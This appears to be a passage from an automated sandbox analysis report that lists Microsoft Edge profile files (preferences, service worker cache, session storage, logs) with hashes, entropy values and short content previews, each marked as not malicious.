C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10139
Entropy (8bit):	5.11786942709237
Encrypted:	false
SSDEEP:	192:st3kdp5sE5DyaNP9kTJEm8MbV+FbHQwq35PfYJ:st3Q5sE5DtJCbGbQwT
MD5:	7D61CCB3F6EE3263C6A94BA1C525F257
SHA1:	C836594F7CE720DCE816FF9F973BC87EA1EFFAE5
SHA-256:	3C48927F191B4D44139EDE4519A6032233D530E8513F4C0FF193477B4F1E58F3
SHA-512:	3E017FC020E48B25A6238A15459B311AB7F0236B34EBB79CCAF92FCAF6D14284437F94B168DBDFD48BD12430AF2C0BE2594B7C0F625298E13E65CEF035B9066F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376516737492575","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF29c94.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10139
Entropy (8bit):	5.11786942709237
Encrypted:	false
SSDEEP:	192:st3kdp5sE5DyaNP9kTJEm8MbV+FbHQwq35PfYJ:st3Q5sE5DtJCbGbQwT
MD5:	7D61CCB3F6EE3263C6A94BA1C525F257
SHA1:	C836594F7CE720DCE816FF9F973BC87EA1EFFAE5
SHA-256:	3C48927F191B4D44139EDE4519A6032233D530E8513F4C0FF193477B4F1E58F3
SHA-512:	3E017FC020E48B25A6238A15459B311AB7F0236B34EBB79CCAF92FCAF6D14284437F94B168DBDFD48BD12430AF2C0BE2594B7C0F625298E13E65CEF035B9066F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376516737492575","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2ea85.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10139
Entropy (8bit):	5.11786942709237
Encrypted:	false
SSDEEP:	192:st3kdp5sE5DyaNP9kTJEm8MbV+FbHQwq35PfYJ:st3Q5sE5DtJCbGbQwT
MD5:	7D61CCB3F6EE3263C6A94BA1C525F257
SHA1:	C836594F7CE720DCE816FF9F973BC87EA1EFFAE5
SHA-256:	3C48927F191B4D44139EDE4519A6032233D530E8513F4C0FF193477B4F1E58F3
SHA-512:	3E017FC020E48B25A6238A15459B311AB7F0236B34EBB79CCAF92FCAF6D14284437F94B168DBDFD48BD12430AF2C0BE2594B7C0F625298E13E65CEF035B9066F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376516737492575","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF35fd4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10139
Entropy (8bit):	5.11786942709237
Encrypted:	false
SSDEEP:	192:st3kdp5sE5DyaNP9kTJEm8MbV+FbHQwq35PfYJ:st3Q5sE5DtJCbGbQwT
MD5:	7D61CCB3F6EE3263C6A94BA1C525F257
SHA1:	C836594F7CE720DCE816FF9F973BC87EA1EFFAE5
SHA-256:	3C48927F191B4D44139EDE4519A6032233D530E8513F4C0FF193477B4F1E58F3
SHA-512:	3E017FC020E48B25A6238A15459B311AB7F0236B34EBB79CCAF92FCAF6D14284437F94B168DBDFD48BD12430AF2C0BE2594B7C0F625298E13E65CEF035B9066F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376516737492575","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30243
Entropy (8bit):	5.566290263395355
Encrypted:	false
SSDEEP:	768:DHjQND7pLGLP32WPJ5fKp8F1+UoAYDCx9Tuqh0VfUC9xbog/OVjJcOxrDrwNuIpa:DHjQN1cP32WPJ5fKpu1jaWJcYr4NuJtn
MD5:	B1BB650D0BD873F938DD9D095BCE0E6B
SHA1:	5A6C653BE2D8D949319625A391465B784AA6627A
SHA-256:	4450C02C46EC0FD5B179108DF3BBE52419088274FA3BE3BAE4C47E393962D102
SHA-512:	CFF84D09711DFAEAD6846FB8A95A3BC78E053545D97171C40195724ED78D34F49C8E812B31DC298934E2F9FC74C221511BBDC82605F8EC9D44FF1E6C1F76A1B7
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376516736928182","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376516736928182","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF29ed6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30243
Entropy (8bit):	5.566290263395355
Encrypted:	false
SSDEEP:	768:DHjQND7pLGLP32WPJ5fKp8F1+UoAYDCx9Tuqh0VfUC9xbog/OVjJcOxrDrwNuIpa:DHjQN1cP32WPJ5fKpu1jaWJcYr4NuJtn
MD5:	B1BB650D0BD873F938DD9D095BCE0E6B
SHA1:	5A6C653BE2D8D949319625A391465B784AA6627A
SHA-256:	4450C02C46EC0FD5B179108DF3BBE52419088274FA3BE3BAE4C47E393962D102
SHA-512:	CFF84D09711DFAEAD6846FB8A95A3BC78E053545D97171C40195724ED78D34F49C8E812B31DC298934E2F9FC74C221511BBDC82605F8EC9D44FF1E6C1F76A1B7
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376516736928182","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376516736928182","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	228
Entropy (8bit):	4.7400908617769035
Encrypted:	false
SSDEEP:	3:chltUQ2Hm4kxH4xRNwBgzNnNurkX/8Ct//lFl46JKcZt/FlSFdVVl03nUBcisdty:chXUQI2xH8BzNme/8HILSFd4ddAa1M/
MD5:	0232AE7084C463F1F077141AE2F8E4EA
SHA1:	4B45C6DE4CE2895BD60C2EFB636D95EA6C9EF7F5
SHA-256:	684BB89AC899552393B84CA6F1831E6B2939189427D6585B24BA195F9C89E386
SHA-512:	B2DFA94D7B0EB98F28E8DCC4909CCD4E87424470941DB136E3E36A975AAECCFD92AB8F9109544065FBE66DF8AEC0BC24554A0BA39BBEA9D20A17D95242FDE478
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2..?..................URES:0..PRES:0.t.g.;................REG:https://ntp.msn.com/.0..REGID_TO_ORIGIN:0..b8...............J4...................PRES:0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	305
Entropy (8bit):	5.186407590073627
Encrypted:	false
SSDEEP:	6:HU4RJeB0RM1cNwi23oH+TcwtE/a252KLlVU4T0Oq2PcNwi23oH+TcwtE/a2ZIFUv:LRJeyR2ZYeb8xLjYOvLZYeb8J2FUv
MD5:	BEBF8C50945B7520D46EB8F984D7CC11
SHA1:	5466F5971A6D3D17CDDDEBF4BEA23DA023CA9FFB
SHA-256:	CC98A5A7CB1167019DB4122F8F03843B2BFCA74B85B62967524BC8B0CD45D055
SHA-512:	F586C19CCCAD40B0EEFCB7A4E3BC55CE6312D794F3C8F1945AB8704C40C096CE97D66FD319CFBA2B6004BFC75C7C0D26A8CF2F036A297DAEB4D5EAFF9934F03A
Malicious:	false
Preview:	2024/11/19-14:05:47.846 1b24 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/19-14:05:47.860 1b24 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	49308
Entropy (8bit):	5.630646094357854
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECj7n0O:d9LyxPXfOxr1lMe1nL/CL/TXEU0O
MD5:	C4F5CB905FA91A96867FD183F4E8E2BA
SHA1:	EE952B61D3B084DA17A21730BF68CB36B1E12034
SHA-256:	E1163C552001A8982DA0F26FE10398AF35290BCCBBF1BC8A9DAD00EBF876CCDD
SHA-512:	2E1CC47091071FD8695ED6475F7CC40BD7C7DACCBAF055A42279509C12A78583D8A78F3B5E9664E5AA677770C4AC089E2B80519B337C144BED657A66E12495F1
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.868671614087538
Encrypted:	false
SSDEEP:	3:AiTX00E3lZkan:AigIa
MD5:	6E7A589D576FFB8DD02666DA9D82EBAC
SHA1:	E0DA0C6D4DC3CA5F0182EE63243C6C23B457056F
SHA-256:	706FBD7CD9018567C9837EE2CCA31C125C0FF376077E0B35E7DC1178382D2FFB
SHA-512:	D660E6B224D905F82A3D4A2BE200AFCB71F4ADFCCE6416711A0F26988CF0128A91D630A2DDBA8290FA71F423AABE8BE2F7BF8339E2992F3E2F1BBB363806EB59
Malicious:	false
Preview:	(.....bXoy retne........................\.8../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.868671614087538
Encrypted:	false
SSDEEP:	3:AiTX00E3lZkan:AigIa
MD5:	6E7A589D576FFB8DD02666DA9D82EBAC
SHA1:	E0DA0C6D4DC3CA5F0182EE63243C6C23B457056F
SHA-256:	706FBD7CD9018567C9837EE2CCA31C125C0FF376077E0B35E7DC1178382D2FFB
SHA-512:	D660E6B224D905F82A3D4A2BE200AFCB71F4ADFCCE6416711A0F26988CF0128A91D630A2DDBA8290FA71F423AABE8BE2F7BF8339E2992F3E2F1BBB363806EB59
Malicious:	false
Preview:	(.....bXoy retne........................\.8../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF2cf9a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.868671614087538
Encrypted:	false
SSDEEP:	3:AiTX00E3lZkan:AigIa
MD5:	6E7A589D576FFB8DD02666DA9D82EBAC
SHA1:	E0DA0C6D4DC3CA5F0182EE63243C6C23B457056F
SHA-256:	706FBD7CD9018567C9837EE2CCA31C125C0FF376077E0B35E7DC1178382D2FFB
SHA-512:	D660E6B224D905F82A3D4A2BE200AFCB71F4ADFCCE6416711A0F26988CF0128A91D630A2DDBA8290FA71F423AABE8BE2F7BF8339E2992F3E2F1BBB363806EB59
Malicious:	false
Preview:	(.....bXoy retne........................\.8../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5621
Entropy (8bit):	3.415249611841602
Encrypted:	false
SSDEEP:	96:l/PZEsLqKESt14QKxtmjmWQaD39Xp+UE+ViQ9j5SLl9iSriy1rZ4SN:1ysLGo13YttWQQ9Xp+3Ki85SLl9iSrP9
MD5:	19144092807B27826B4D07EA46242F0E
SHA1:	E0E9B8F137A83D6DB94668E2E24E1381DC72938F
SHA-256:	04BC24078CE47D58ECC57CEA03A6D1BC7C73A8682C8F2C40B91C94D261B9372B
SHA-512:	B4700AF74BF3F9B5492B404682FF639E3A540E29D962171656329BFBA2E0CBB304B6D6BB03F68DBDFBE84692F37F76BE70835DEBC118C38DF8FBCA5A40453EBF
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............F.(.b................next-map-id.1.Cnamespace-42f21e8b_fb9b_4563_9e8a_21b78fe5a905-https://ntp.msn.com/.0..C2.................map-0-shd_sweeper.({.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.c.a.l.-.5.c.o.l.u.m.n.c.,.x.a.d.s.-.a.d.q.i.s.c.b.m.m.-.t.,.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.-.t.2.,.p.r.e.p.r.g.-.1.s.w.-.s.a.b.g.t.a.s.k.t.h.r.o.t.c.,.p.r.g.-.1.s.w.-.s.a.g.e.i.m.a.n.n.t.1.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.2.a.,.p.r.g.-.1.s.w.-.s.a.e.r.e.v.a.r.f.2.t.1.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.t.r.a.f.f.i.c.-.p.1.-.n.y.l.d.-.c.,.p.r.g.-.1.s.w.-.l.d.n.y.c.t.-.t.r.a.n.s.i.t.,.p.r.g.-.1.s.w.-.t.r.a.n.-.t.r.d.,.2.4.0.9.-.n.e.w.-.b.i.n.g.-.d.e.s.i.g.n.-.t.,.p.r.g.-.a.d.s.p.e.e.k.,.p.r.g.-.1.s.w.-.r.e.v.2.t.-.r.f.,.p.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.175911416435809
Encrypted:	false
SSDEEP:	6:HU4SIUq2PcNwi23oH+TcwtrQMxIFUt8YU4SzFZZmw+YU4S87zkwOcNwi23oH+TcM:0LvLZYebCFUt8ZzX/+Z+z54ZYebtJ
MD5:	0B6F870B30E4B3B3D7D5F14D274589EC
SHA1:	81E9C08D16F32B06B7EB68DF47355453DE870B9E
SHA-256:	8B4FD4EC7778E89D59368B0CEFC964DACD4AA219398A6620AA448EB9BBC9EFBD
SHA-512:	420E892E7C93938A89E94F4121BC8AEC57C3FDAA6CE99A601C7EC6E8ED0EFFFC4BC3B1A264126E35C909C3E5C1867D8CE88FB1E2D0470A573F88DEE158E3B90D
Malicious:	false
Preview:	2024/11/19-14:05:37.535 1ed4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/19-14:05:37.536 1ed4 Recovering log #3.2024/11/19-14:05:37.539 1ed4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.175911416435809
Encrypted:	false
SSDEEP:	6:HU4SIUq2PcNwi23oH+TcwtrQMxIFUt8YU4SzFZZmw+YU4S87zkwOcNwi23oH+TcM:0LvLZYebCFUt8ZzX/+Z+z54ZYebtJ
MD5:	0B6F870B30E4B3B3D7D5F14D274589EC
SHA1:	81E9C08D16F32B06B7EB68DF47355453DE870B9E
SHA-256:	8B4FD4EC7778E89D59368B0CEFC964DACD4AA219398A6620AA448EB9BBC9EFBD
SHA-512:	420E892E7C93938A89E94F4121BC8AEC57C3FDAA6CE99A601C7EC6E8ED0EFFFC4BC3B1A264126E35C909C3E5C1867D8CE88FB1E2D0470A573F88DEE158E3B90D
Malicious:	false
Preview:	2024/11/19-14:05:37.535 1ed4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/19-14:05:37.536 1ed4 Recovering log #3.2024/11/19-14:05:37.539 1ed4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376516739434452

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.7982046978902395
Encrypted:	false
SSDEEP:	24:3DelbIucKMVEvEyNW5a3psAF4unx5EtLp3X2amEtG1ChqRKAN+QKkOAM4s9:3D6uVEMyNRzFILp2FEkChwK8HOp9
MD5:	502CD01E65C08A9D1D6960F957935072
SHA1:	7F45E58D449F9D23CB2FAC35C2A7BF77991EBFE5
SHA-256:	53CA962B106FCF77F196403106717BC4C2771026D0E4E73BC14049D3285540AA
SHA-512:	3A330B3607B1081FA30B93BB8C5ACB239E4086658D230844E95A3DCDADBAF08D05C79E9C8647283676811E549B9852B1421692EB2682DD48B0C428FC25F607CB
Malicious:	false
Preview:	SNSS.........Pb.............Pb......"..Pb.............Pb.........Pb.........Pb.........Pb....!....Pb.................................Pb..Pb1..,.....Pb$...42f21e8b_fb9b_4563_9e8a_21b78fe5a905.....Pb.........Pb.....x...........Pb.....Pb.........................Pb....................5..0.....Pb&...{4B3AC14B-43E5-4896-86E8-9E7D502CE1B5}.......Pb.........Pb.........................Pb.............Pb........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x...........H'......H'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8...............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.195146170784978
Encrypted:	false
SSDEEP:	6:HU4Gunq2PcNwi23oH+Tcwt7Uh2ghZIFUt8YU4VZmw+YU4HkwOcNwi23oH+Tcwt7w:wUvLZYebIhHh2FUt8o/+w54ZYebIhHLJ
MD5:	33BC73F550C35C9C72A78B5CA4771138
SHA1:	08894E22C0EB946487B6D2F83C13C543DE6F53CD
SHA-256:	CEA46582C4EF0AD331C2FE4E22149CDD313DA96D0B9245B6136EE5F591CAACC8
SHA-512:	AB0627BC2FA4C83B29D7A4078D94B1D0F78757E448889C24BC1FFA668DA4E04C8649A745B10B6C9A27B379FC4E041E4E7EE18D75D1E4CACBFC3E5ABD21EE4FBC
Malicious:	false
